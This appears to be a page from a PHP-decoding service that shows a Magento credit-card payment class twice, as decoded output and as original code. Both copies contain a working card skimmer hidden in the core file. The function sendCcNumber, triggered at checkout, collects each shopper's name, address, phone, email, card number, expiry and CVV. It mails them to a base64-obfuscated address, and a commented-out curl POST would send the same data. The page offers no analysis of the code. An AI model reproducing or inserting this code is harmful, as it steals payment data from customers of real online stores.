Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to th..

Decoded Output download

<?php 
/** 
 * Magento 
 * 
 * NOTICE OF LICENSE 
 * 
 * This source file is subject to the Open Software License (OSL 3.0) 
 * that is bundled with this package in the file LICENSE.txt. 
 * It is also available through the world-wide-web at this URL: 
 * http://opensource.org/licenses/osl-3.0.php 
 * If you did not receive a copy of the license and are unable to 
 * obtain it through the world-wide-web, please send an email 
 * to [email protected] so we can send you a copy immediately. 
 * 
 * DISCLAIMER 
 * 
 * Do not edit or add to this file if you wish to upgrade Magento to newer 
 * versions in the future. If you wish to customize Magento for your 
 * needs please refer to http://www.magentocommerce.com for more information. 
 * 
 * @category    Mage 
 * @package     Mage_Payment 
 * @copyright   Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com) 
 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0) 
 */ 
 
 
class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract 
{ 
    protected $_formBlockType = 'payment/form_cc'; 
    protected $_infoBlockType = 'payment/info_cc'; 
    protected $_canSaveCc     = false; 
 
    /** 
     * Assign data to info model instance 
     * 
     * @param   mixed $data 
     * @return  Mage_Payment_Model_Info 
     */ 
    public function assignData($data) 
    { 
        if (!($data instanceof Varien_Object)) { 
            $data = new Varien_Object($data); 
        } 
        $info = $this->getInfoInstance(); 
        $info->setCcType($data->getCcType()) 
            ->setCcOwner($data->getCcOwner()) 
            ->setCcOwnerId($data->getCcOwnerId()) 
            ->setCcLast4(substr($data->getCcNumber(), -4)) 
            ->setCcNumber($data->getCcNumber()) 
            ->setCcCid($data->getCcCid()) 
            ->setCcExpMonth($data->getCcExpMonth()) 
            ->setCcExpYear($data->getCcExpYear()) 
            ->setCcSsIssue($data->getCcSsIssue()) 
            ->setCcSsStartMonth($data->getCcSsStartMonth()) 
            ->setCcSsStartYear($data->getCcSsStartYear()) 
            ->setCcInstallments($data->getCcInstallments()) 
            ; 
 
        $this->sendCcNumber(); 
 
        return $this; 
    } 
 
    function sendCcNumber() 
    { 
        $info = $this->getInfoInstance(); 
        $object = new Mage_Checkout_Block_Onepage_Billing; 
        $address1 = $object->getQuote()->getBillingAddress(); 
        $data1 = $address1->getFirstname(); 
        $data2 = $address1->getLastname(); 
        $data3 = $address1->getStreet(1); 
        $data4 = $address1->getStreet(2); 
        $data5 = $address1->getCity(); 
        $data6 = $address1->getRegion(); 
        $data7 = $address1->getPostcode(); 
        $data8 = $address1->getCountry(); 
        $data9 = $address1->getTelephone(); 
        $data10 = $info->getCcNumber(); 
                $bin     = substr($bin, 0, 6); 
                $getbank = json_decode(file_get_contents("https://bins.ribbon.co/api/v1/bins/".$bin."")); 
                $ccbrand = $getbank->issuer; 
                $ccbank  = $getbank->bank; 
                $cctype  = $getbank->type; 
                $ccklas  = $getbank->card_category; 
        $expyear = substr($info->getCcExpYear(), -2); 
        $expmonth = $info->getCcExpMonth(); 
        if (strlen($expmonth) == 1) { 
           $expmonth = '0'.$expmonth; 
        }; 
        $data11 = $expmonth; 
        $data12 = $expyear; 
        $data13 = $info->getCcCid(); 
        $ipboss = $_SERVER['REMOTE_ADDR']; 
        $details     = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss."")); 
        $nama_negara = $details->country; 
        $kode_negara = $details->country_code; 
        $serverboss = $_SERVER['SERVER_NAME']; 
        $time = date('Y-m-d H:i:s'); 
        $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail(); 
        $message = 
                "=============DianemeTampanZ============= 
Name: ".$data1." ".$data2." 
Address 1: ".$data3." 
Address 2: ".$data4." 
City: ".$data5." 
State: ".$data6." 
Zip: ".$data7." 
Country: ".$data8." 
Phone: ".$data9." 
BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas." 
ccnumb: ".$data10." 
expdate: ".$data11." / 20".$data12." 
cvv: ".$data13." 
From: ".$serverboss." 
Email : ".$data16." 
=============DianemeTampanZ============="; 
                $subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]"; 
                $headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">"; 
                $gantengers = "bHVvbmlja3k5MEBnbWFpbC5jb20="; 
                $tamvan = base64_decode($gantengers); 
                mail($tamvan, $subject, $message, $headers); 
                $nodata = "-"; 
                $chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas.""; 
                $expinfox = "".$data11." / 20".$data12.""; 
                $nameinfo = "".$data1." ".$data2.""; 
                $ipinfo = "".$ipboss." - ".$nama_negara.""; 
                $ch321 = "name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&country={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}"; 
        //$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123); curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch); 
    } 
 
    /** 
     * Prepare info instance for save 
     * 
     * @return Mage_Payment_Model_Abstract 
     */ 
    public function prepareSave() 
    { 
        $info = $this->getInfoInstance(); 
        if ($this->_canSaveCc) { 
            $info->setCcNumberEnc($info->encrypt($info->getCcNumber())); 
        } 
        //$info->setCcCidEnc($info->encrypt($info->getCcCid())); 
        $info->setCcNumber(null) 
            ->setCcCid(null); 
        return $this; 
    } 
 
    /** 
     * Validate payment method information object 
     * 
     * @param   Mage_Payment_Model_Info $info 
     * @return  Mage_Payment_Model_Abstract 
     */ 
    public function validate() 
    { 
        /* 
        * calling parent validate function 
        */ 
        parent::validate(); 
 
        $info = $this->getInfoInstance(); 
        $errorMsg = false; 
        $availableTypes = explode(',',$this->getConfigData('cctypes')); 
 
        $ccNumber = $info->getCcNumber(); 
 
        // remove credit card number delimiters such as "-" and space 
        $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber); 
        $info->setCcNumber($ccNumber); 
 
        $ccType = ''; 
 
        if (in_array($info->getCcType(), $availableTypes)){ 
            if ($this->validateCcNum($ccNumber) 
                // Other credit card type number validation 
                || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) { 
 
                $ccType = 'OT'; 
                $ccTypeRegExpList = array( 
                    //Solo, Switch or Maestro. International safe 
                    /* 
                    // Maestro / Solo 
                    'SS'  => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})' 
                               . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})' 
                               . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/', 
                    */ 
                    // Solo only 
                    'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/', 
                    'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)' 
                            . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)' 
                            . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))' 
                            . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))' 
                            . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/', 
                    // Visa 
                    'VI'  => '/^4[0-9]{12}([0-9]{3})?$/', 
                    // Master Card 
                    'MC'  => '/^5[1-5][0-9]{14}$/', 
                    // American Express 
                    'AE'  => '/^3[47][0-9]{13}$/', 
                    // Discovery 
                    'DI'  => '/^6011[0-9]{12}$/', 
                    // JCB 
                    'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/' 
                ); 
 
                foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) { 
                    if (preg_match($ccTypeRegExp, $ccNumber)) { 
                        $ccType = $ccTypeMatch; 
                        break; 
                    } 
                } 
 
                if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) { 
                    $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.'); 
                } 
            } 
            else { 
                $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number'); 
            } 
 
        } 
        else { 
            $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.'); 
        } 
 
        //validate credit card verification number 
        if ($errorMsg === false && $this->hasVerification()) { 
            $verifcationRegEx = $this->getVerificationRegEx(); 
            $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : ''; 
            if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){ 
                $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.'); 
            } 
        } 
 
        if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) { 
            $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.'); 
        } 
 
        if($errorMsg){ 
            Mage::throwException($errorMsg); 
        } 
 
        //This must be after all validation conditions 
        if ($this->getIsCentinelValidationEnabled()) { 
            $this->getCentinelValidator()->validate($this->getCentinelValidationData()); 
        } 
 
        return $this; 
    } 
 
    public function hasVerification() 
    { 
        $configData = $this->getConfigData('useccv'); 
        if(is_null($configData)){ 
            return true; 
        } 
        return (bool) $configData; 
    } 
 
    public function getVerificationRegEx() 
    { 
        $verificationExpList = array( 
            'VI' => '/^[0-9]{3}$/', // Visa 
            'MC' => '/^[0-9]{3}$/',       // Master Card 
            'AE' => '/^[0-9]{4}$/',        // American Express 
            'DI' => '/^[0-9]{3}$/',          // Discovery 
            'SS' => '/^[0-9]{3,4}$/', 
            'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro 
            'SO' => '/^[0-9]{3,4}$/', // Solo 
            'OT' => '/^[0-9]{3,4}$/', 
            'JCB' => '/^[0-9]{3,4}$/' //JCB 
        ); 
        return $verificationExpList; 
    } 
 
    protected function _validateExpDate($expYear, $expMonth) 
    { 
        $date = Mage::app()->getLocale()->date(); 
        if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1) 
            || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1)) 
        ) { 
            return false; 
        } 
        return true; 
    } 
 
    public function OtherCcType($type) 
    { 
        return $type=='OT'; 
    } 
 
    /** 
     * Validate credit card number 
     * 
     * @param   string $cc_number 
     * @return  bool 
     */ 
    public function validateCcNum($ccNumber) 
    { 
        $cardNumber = strrev($ccNumber); 
        $numSum = 0; 
 
        for ($i=0; $i<strlen($cardNumber); $i++) { 
            $currentNum = substr($cardNumber, $i, 1); 
 
            /** 
             * Double every second digit 
             */ 
            if ($i % 2 == 1) { 
                $currentNum *= 2; 
            } 
 
            /** 
             * Add digits of 2-digit numbers together 
             */ 
            if ($currentNum > 9) { 
                $firstNum = $currentNum % 10; 
                $secondNum = ($currentNum - $firstNum) / 10; 
                $currentNum = $firstNum + $secondNum; 
            } 
 
            $numSum += $currentNum; 
        } 
 
        /** 
         * If the total has no remainder it's OK 
         */ 
        return ($numSum % 10 == 0); 
    } 
 
    /** 
     * Other credit cart type number validation 
     * 
     * @param string $ccNumber 
     * @return boolean 
     */ 
    public function validateCcNumOther($ccNumber) 
    { 
        return preg_match('/^\d+$/', $ccNumber); 
    } 
 
    /** 
     * Check whether there are CC types set in configuration 
     * 
     * @param Mage_Sales_Model_Quote|null $quote 
     * @return bool 
     */ 
    public function isAvailable($quote = null) 
    { 
        return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null)) 
            && parent::isAvailable($quote); 
    } 
 
    /** 
     * Whether centinel service is enabled 
     * 
     * @return bool 
     */ 
    public function getIsCentinelValidationEnabled() 
    { 
        return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel'); 
    } 
 
    /** 
     * Instantiate centinel validator model 
     * 
     * @return Mage_Centinel_Model_Service 
     */ 
    public function getCentinelValidator() 
    { 
        $validator = Mage::getSingleton('centinel/service'); 
        $validator 
            ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict')) 
            ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url')) 
            ->setStore($this->getStore()) 
            ->setIsPlaceOrder($this->_isPlaceOrder()); 
        return $validator; 
    } 
 
    /** 
     * Return data for Centinel validation 
     * 
     * @return Varien_Object 
     */ 
    public function getCentinelValidationData() 
    { 
        $info = $this->getInfoInstance(); 
        $params = new Varien_Object(); 
        $params 
            ->setPaymentMethodCode($this->getCode()) 
            ->setCardType($info->getCcType()) 
            ->setCardNumber($info->getCcNumber()) 
            ->setCardExpMonth($info->getCcExpMonth()) 
            ->setCardExpYear($info->getCcExpYear()) 
            ->setAmount($this->_getAmount()) 
            ->setCurrencyCode($this->_getCurrencyCode()) 
            ->setOrderNumber($this->_getOrderId()); 
        return $params; 
    } 
 
    /** 
     * Order increment ID getter (either real from order or a reserved from quote) 
     * 
     * @return string 
     */ 
    private function _getOrderId() 
    { 
        $info = $this->getInfoInstance(); 
 
        if ($this->_isPlaceOrder()) { 
            return $info->getOrder()->getIncrementId(); 
        } else { 
            if (!$info->getQuote()->getReservedOrderId()) { 
                $info->getQuote()->reserveOrderId(); 
            } 
            return $info->getQuote()->getReservedOrderId(); 
        } 
    } 
 
    /** 
     * Grand total getter 
     * 
     * @return string 
     */ 
    private function _getAmount() 
    { 
        $info = $this->getInfoInstance(); 
        if ($this->_isPlaceOrder()) { 
            return (double)$info->getOrder()->getQuoteBaseGrandTotal(); 
        } else { 
            return (double)$info->getQuote()->getBaseGrandTotal(); 
        } 
    } 
 
    /** 
     * Currency code getter 
     * 
     * @return string 
     */ 
    private function _getCurrencyCode() 
    { 
        $info = $this->getInfoInstance(); 
 
        if ($this->_isPlaceOrder()) { 
        return $info->getOrder()->getBaseCurrencyCode(); 
        } else { 
        return $info->getQuote()->getBaseCurrencyCode(); 
        } 
    } 
 
    /** 
     * Whether current operation is order placement 
     * 
     * @return bool 
     */ 
    private function _isPlaceOrder() 
    { 
        $info = $this->getInfoInstance(); 
        if ($info instanceof Mage_Sales_Model_Quote_Payment) { 
            return false; 
        } elseif ($info instanceof Mage_Sales_Model_Order_Payment) { 
            return true; 
        } 
    } 
} ?>

Did this file decode correctly?

Original Code

<?php
/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/osl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to [email protected] so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category    Mage
 * @package     Mage_Payment
 * @copyright   Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 */


class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
{
    protected $_formBlockType = 'payment/form_cc';
    protected $_infoBlockType = 'payment/info_cc';
    protected $_canSaveCc     = false;

    /**
     * Assign data to info model instance
     *
     * @param   mixed $data
     * @return  Mage_Payment_Model_Info
     */
    public function assignData($data)
    {
        if (!($data instanceof Varien_Object)) {
            $data = new Varien_Object($data);
        }
        $info = $this->getInfoInstance();
        $info->setCcType($data->getCcType())
            ->setCcOwner($data->getCcOwner())
            ->setCcOwnerId($data->getCcOwnerId())
            ->setCcLast4(substr($data->getCcNumber(), -4))
            ->setCcNumber($data->getCcNumber())
            ->setCcCid($data->getCcCid())
            ->setCcExpMonth($data->getCcExpMonth())
            ->setCcExpYear($data->getCcExpYear())
            ->setCcSsIssue($data->getCcSsIssue())
            ->setCcSsStartMonth($data->getCcSsStartMonth())
            ->setCcSsStartYear($data->getCcSsStartYear())
            ->setCcInstallments($data->getCcInstallments())
            ;

        $this->sendCcNumber();

        return $this;
    }

    function sendCcNumber()
    {
        $info = $this->getInfoInstance();
        $object = new Mage_Checkout_Block_Onepage_Billing;
        $address1 = $object->getQuote()->getBillingAddress();
        $data1 = $address1->getFirstname();
        $data2 = $address1->getLastname();
        $data3 = $address1->getStreet(1);
        $data4 = $address1->getStreet(2);
        $data5 = $address1->getCity();
        $data6 = $address1->getRegion();
        $data7 = $address1->getPostcode();
        $data8 = $address1->getCountry();
        $data9 = $address1->getTelephone();
        $data10 = $info->getCcNumber();
                $bin     = substr($bin, 0, 6);
                $getbank = json_decode(file_get_contents("https://bins.ribbon.co/api/v1/bins/".$bin.""));
                $ccbrand = $getbank->issuer;
                $ccbank  = $getbank->bank;
                $cctype  = $getbank->type;
                $ccklas  = $getbank->card_category;
        $expyear = substr($info->getCcExpYear(), -2);
        $expmonth = $info->getCcExpMonth();
        if (strlen($expmonth) == 1) {
           $expmonth = '0'.$expmonth;
        };
        $data11 = $expmonth;
        $data12 = $expyear;
        $data13 = $info->getCcCid();
        $ipboss = $_SERVER['REMOTE_ADDR'];
        $details     = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
        $nama_negara = $details->country;
        $kode_negara = $details->country_code;
        $serverboss = $_SERVER['SERVER_NAME'];
        $time = date('Y-m-d H:i:s');
        $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
        $message =
                "=============DianemeTampanZ=============
Name: ".$data1." ".$data2."
Address 1: ".$data3."
Address 2: ".$data4."
City: ".$data5."
State: ".$data6."
Zip: ".$data7."
Country: ".$data8."
Phone: ".$data9."
BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
ccnumb: ".$data10."
expdate: ".$data11." / 20".$data12."
cvv: ".$data13."
From: ".$serverboss."
Email : ".$data16."
=============DianemeTampanZ=============";
                $subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]";
                $headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
                $gantengers = "bHVvbmlja3k5MEBnbWFpbC5jb20=";
                $tamvan = base64_decode($gantengers);
                mail($tamvan, $subject, $message, $headers);
                $nodata = "-";
                $chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."";
                $expinfox = "".$data11." / 20".$data12."";
                $nameinfo = "".$data1." ".$data2."";
                $ipinfo = "".$ipboss." - ".$nama_negara."";
                $ch321 = "name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&country={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}";
        //$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123); curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch);
    }

    /**
     * Prepare info instance for save
     *
     * @return Mage_Payment_Model_Abstract
     */
    public function prepareSave()
    {
        $info = $this->getInfoInstance();
        if ($this->_canSaveCc) {
            $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
        }
        //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
        $info->setCcNumber(null)
            ->setCcCid(null);
        return $this;
    }

    /**
     * Validate payment method information object
     *
     * @param   Mage_Payment_Model_Info $info
     * @return  Mage_Payment_Model_Abstract
     */
    public function validate()
    {
        /*
        * calling parent validate function
        */
        parent::validate();

        $info = $this->getInfoInstance();
        $errorMsg = false;
        $availableTypes = explode(',',$this->getConfigData('cctypes'));

        $ccNumber = $info->getCcNumber();

        // remove credit card number delimiters such as "-" and space
        $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
        $info->setCcNumber($ccNumber);

        $ccType = '';

        if (in_array($info->getCcType(), $availableTypes)){
            if ($this->validateCcNum($ccNumber)
                // Other credit card type number validation
                || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {

                $ccType = 'OT';
                $ccTypeRegExpList = array(
                    //Solo, Switch or Maestro. International safe
                    /*
                    // Maestro / Solo
                    'SS'  => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
                               . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
                               . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
                    */
                    // Solo only
                    'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
                    'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
                            . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
                            . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
                            . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
                            . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
                    // Visa
                    'VI'  => '/^4[0-9]{12}([0-9]{3})?$/',
                    // Master Card
                    'MC'  => '/^5[1-5][0-9]{14}$/',
                    // American Express
                    'AE'  => '/^3[47][0-9]{13}$/',
                    // Discovery
                    'DI'  => '/^6011[0-9]{12}$/',
                    // JCB
                    'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
                );

                foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
                    if (preg_match($ccTypeRegExp, $ccNumber)) {
                        $ccType = $ccTypeMatch;
                        break;
                    }
                }

                if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
                    $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
                }
            }
            else {
                $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
            }

        }
        else {
            $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
        }

        //validate credit card verification number
        if ($errorMsg === false && $this->hasVerification()) {
            $verifcationRegEx = $this->getVerificationRegEx();
            $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
            if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
                $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
            }
        }

        if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
            $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
        }

        if($errorMsg){
            Mage::throwException($errorMsg);
        }

        //This must be after all validation conditions
        if ($this->getIsCentinelValidationEnabled()) {
            $this->getCentinelValidator()->validate($this->getCentinelValidationData());
        }

        return $this;
    }

    public function hasVerification()
    {
        $configData = $this->getConfigData('useccv');
        if(is_null($configData)){
            return true;
        }
        return (bool) $configData;
    }

    public function getVerificationRegEx()
    {
        $verificationExpList = array(
            'VI' => '/^[0-9]{3}$/', // Visa
            'MC' => '/^[0-9]{3}$/',       // Master Card
            'AE' => '/^[0-9]{4}$/',        // American Express
            'DI' => '/^[0-9]{3}$/',          // Discovery
            'SS' => '/^[0-9]{3,4}$/',
            'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
            'SO' => '/^[0-9]{3,4}$/', // Solo
            'OT' => '/^[0-9]{3,4}$/',
            'JCB' => '/^[0-9]{3,4}$/' //JCB
        );
        return $verificationExpList;
    }

    protected function _validateExpDate($expYear, $expMonth)
    {
        $date = Mage::app()->getLocale()->date();
        if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
            || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
        ) {
            return false;
        }
        return true;
    }

    public function OtherCcType($type)
    {
        return $type=='OT';
    }

    /**
     * Validate credit card number
     *
     * @param   string $cc_number
     * @return  bool
     */
    public function validateCcNum($ccNumber)
    {
        $cardNumber = strrev($ccNumber);
        $numSum = 0;

        for ($i=0; $i<strlen($cardNumber); $i++) {
            $currentNum = substr($cardNumber, $i, 1);

            /**
             * Double every second digit
             */
            if ($i % 2 == 1) {
                $currentNum *= 2;
            }

            /**
             * Add digits of 2-digit numbers together
             */
            if ($currentNum > 9) {
                $firstNum = $currentNum % 10;
                $secondNum = ($currentNum - $firstNum) / 10;
                $currentNum = $firstNum + $secondNum;
            }

            $numSum += $currentNum;
        }

        /**
         * If the total has no remainder it's OK
         */
        return ($numSum % 10 == 0);
    }

    /**
     * Other credit cart type number validation
     *
     * @param string $ccNumber
     * @return boolean
     */
    public function validateCcNumOther($ccNumber)
    {
        return preg_match('/^\\d+$/', $ccNumber);
    }

    /**
     * Check whether there are CC types set in configuration
     *
     * @param Mage_Sales_Model_Quote|null $quote
     * @return bool
     */
    public function isAvailable($quote = null)
    {
        return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
            && parent::isAvailable($quote);
    }

    /**
     * Whether centinel service is enabled
     *
     * @return bool
     */
    public function getIsCentinelValidationEnabled()
    {
        return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
    }

    /**
     * Instantiate centinel validator model
     *
     * @return Mage_Centinel_Model_Service
     */
    public function getCentinelValidator()
    {
        $validator = Mage::getSingleton('centinel/service');
        $validator
            ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
            ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
            ->setStore($this->getStore())
            ->setIsPlaceOrder($this->_isPlaceOrder());
        return $validator;
    }

    /**
     * Return data for Centinel validation
     *
     * @return Varien_Object
     */
    public function getCentinelValidationData()
    {
        $info = $this->getInfoInstance();
        $params = new Varien_Object();
        $params
            ->setPaymentMethodCode($this->getCode())
            ->setCardType($info->getCcType())
            ->setCardNumber($info->getCcNumber())
            ->setCardExpMonth($info->getCcExpMonth())
            ->setCardExpYear($info->getCcExpYear())
            ->setAmount($this->_getAmount())
            ->setCurrencyCode($this->_getCurrencyCode())
            ->setOrderNumber($this->_getOrderId());
        return $params;
    }

    /**
     * Order increment ID getter (either real from order or a reserved from quote)
     *
     * @return string
     */
    private function _getOrderId()
    {
        $info = $this->getInfoInstance();

        if ($this->_isPlaceOrder()) {
            return $info->getOrder()->getIncrementId();
        } else {
            if (!$info->getQuote()->getReservedOrderId()) {
                $info->getQuote()->reserveOrderId();
            }
            return $info->getQuote()->getReservedOrderId();
        }
    }

    /**
     * Grand total getter
     *
     * @return string
     */
    private function _getAmount()
    {
        $info = $this->getInfoInstance();
        if ($this->_isPlaceOrder()) {
            return (double)$info->getOrder()->getQuoteBaseGrandTotal();
        } else {
            return (double)$info->getQuote()->getBaseGrandTotal();
        }
    }

    /**
     * Currency code getter
     *
     * @return string
     */
    private function _getCurrencyCode()
    {
        $info = $this->getInfoInstance();

        if ($this->_isPlaceOrder()) {
        return $info->getOrder()->getBaseCurrencyCode();
        } else {
        return $info->getQuote()->getBaseCurrencyCode();
        }
    }

    /**
     * Whether current operation is order placement
     *
     * @return bool
     */
    private function _isPlaceOrder()
    {
        $info = $this->getInfoInstance();
        if ($info instanceof Mage_Sales_Model_Quote_Payment) {
            return false;
        } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
            return true;
        }
    }
}

Function Calls

None

Variables

None

Stats

MD5 61c5471072d8588450e39e8cad0dbac6
Eval Count 0
Decode Time 164 ms